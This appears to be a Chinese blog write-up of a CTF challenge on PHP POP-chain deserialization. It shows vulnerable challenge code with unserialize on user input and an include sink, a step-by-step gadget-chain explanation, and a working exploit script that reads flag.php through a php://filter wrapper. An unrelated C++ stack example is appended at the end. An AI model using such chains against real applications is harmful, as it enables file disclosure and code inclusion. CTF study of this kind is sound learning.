ctf-pop链

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

代码 

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

首先这里传入数据的入口是反序列化,那就是__wakeup(),出口那就是要读取文件,那就是 __invoke()和_show() ,一个是魔法方法,一个是普通方法。 

1.首先看到unserialize($_GET['wish'])将get传参的wish进行了反序列化操作。那么将会调用到Road_is_Long类中__weakup方法。
2.因为 $this->page = "index.php" page被当做字符串所以调用Road_is_Long类中的__to string.
3. ** return $this->string->page ** page属性不存在所以调用Road_is_Long类中的 get方法。
4. ** $function = $this->effort;
return $function(); **
把取出来的effort当做还是调用因此又会引起调用了 Try_Work_Hard类中的__invoke方法,其中就可以把文件读取出来了。

exp

<?php

class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    } 
}

class Road_is_Long{
    public $page;
    public $string;
    }
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
} 
$a = new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$a->page=$b;
$b->string=$c;
$c->effort=$d;
echo urlencode(serialize($a));


?>

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,下面是使用 C++ 实现的出栈入栈操作的代码: ```c++ #include<iostream> #include<stdlib.h> using namespace std; class Stack { public: Stack(int max); bool push(int data); bool pop(); bool isEmpty(); bool isFull(); void printStack(); private: int* data; int top; int maxSize; }; Stack::Stack(int max) { data = new int[max]; maxSize = max; top = -1; } bool Stack::push(int d) { if (top >= maxSize - 1) { cout << "栈已满!" << endl; return false; } top++; data[top] = d; return true; } bool Stack::pop() { if (top < 0) { cout << "栈已空!" << endl; return false; } top--; return true; } bool Stack::isEmpty() { if (top < 0) { return true; } return false; } bool Stack::isFull() { if (top >= maxSize - 1) { return true; } return false; } void Stack::printStack() { if (top < 0) { cout << "栈已空!" << endl; return; } cout << "栈中元素:"; for (int i = 0; i <= top; i++) { cout << data[i] << " "; } cout << endl; } int main() { Stack stk(5); stk.push(1); stk.push(2); stk.push(3); stk.push(4); stk.push(5); stk.printStack(); stk.pop(); stk.printStack(); stk.pop(); stk.printStack(); stk.pop(); stk.printStack(); stk.pop(); stk.printStack(); stk.pop(); stk.printStack(); return 0; } ``` 这里我们使用了一个 Stack 类来表示栈,其构造函数 Stack(int max) 用于创建一个大小为 max 的栈,push(int data) 用于将元素压入栈中,pop() 用于将栈顶元素弹出,isEmpty() 用于判断栈是否为空,isFull() 用于判断栈是否已满,printStack() 用于打印当前栈中的元素。 在 main 函数中,我们创建了一个大小为 5 的栈,然后依次将元素 1 到 5 压入栈中,之后反复进行弹出操作,最后打印出栈中的元素。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qq_1136014935

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值